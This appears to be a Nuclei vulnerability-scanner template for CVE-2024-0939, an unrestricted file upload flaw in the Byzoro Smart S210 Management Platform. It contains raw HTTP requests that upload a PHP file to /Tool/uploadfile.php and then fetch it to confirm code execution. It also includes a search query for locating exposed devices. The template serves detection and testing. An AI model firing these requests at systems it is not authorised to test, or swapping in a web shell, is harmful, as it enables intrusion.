70 lines
2.3 KiB
YAML
70 lines
2.3 KiB
YAML
id: CVE-2024-0939
|
|
|
|
info:
|
|
name: Smart S210 Management Platform - Arbitary File Upload
|
|
author: DhiyaneshDk
|
|
severity: critical
|
|
description: |
|
|
A vulnerability has been found in Byzoro Smart S210 Management Platform up to 20240117 and classified as critical. This vulnerability affects unknown code of the file /Tool/uploadfile.php. The manipulation of the argument file_upload leads to unrestricted upload.
|
|
reference:
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2024-0939
|
|
- https://vuldb.com/?ctiid.252184
|
|
- https://vuldb.com/?id.252184
|
|
- https://vuldb.com/?submit.269268
|
|
- https://github.com/tanjiti/sec_profile
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2024-0939
|
|
cwe-id: CWE-434
|
|
epss-score: 0.00063
|
|
epss-percentile: 0.2659
|
|
cpe: cpe:2.3:o:byzoro:smart_s210_firmware:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
vendor: byzoro
|
|
product: smart_s210_firmware
|
|
fofa-query: body="Smart管理平台"
|
|
tags: cve,cve2024,smart,file-upload,intrusive,rce
|
|
|
|
variables:
|
|
filename: "{{to_lower(rand_text_alpha(5))}}"
|
|
num1: "{{rand_int(800000, 999999)}}"
|
|
num2: "{{rand_int(800000, 999999)}}"
|
|
result: "{{to_number(num1)*to_number(num2)}}"
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /Tool/uploadfile.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywnsogfin
|
|
Accept-Encoding: gzip, deflate, br
|
|
|
|
------WebKitFormBoundarywnsogfin
|
|
Content-Disposition: form-data; name="file_upload"; filename="contents.php"
|
|
Content-Type: application/octet-stream
|
|
|
|
<?php print({{num1}}*{{num2}}); ?>
|
|
------WebKitFormBoundarywnsogfin
|
|
Content-Disposition: form-data; name="txt_path"
|
|
|
|
/home/{{filename}}.php
|
|
------WebKitFormBoundarywnsogfin--
|
|
|
|
- |
|
|
GET /home/{{filename}}.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body_2
|
|
words:
|
|
- '{{result}}'
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4b0a00483046022100f291cb43453d52ed8ea93dd7f0da7536ca143002415d5b4f871acc918dc3d67402210090761906ceef6af1de7843f1ac567910f35fc49edf1da7d451ffdcd47ca2e42c:922c64590222798bb761d5b6d8e72950 |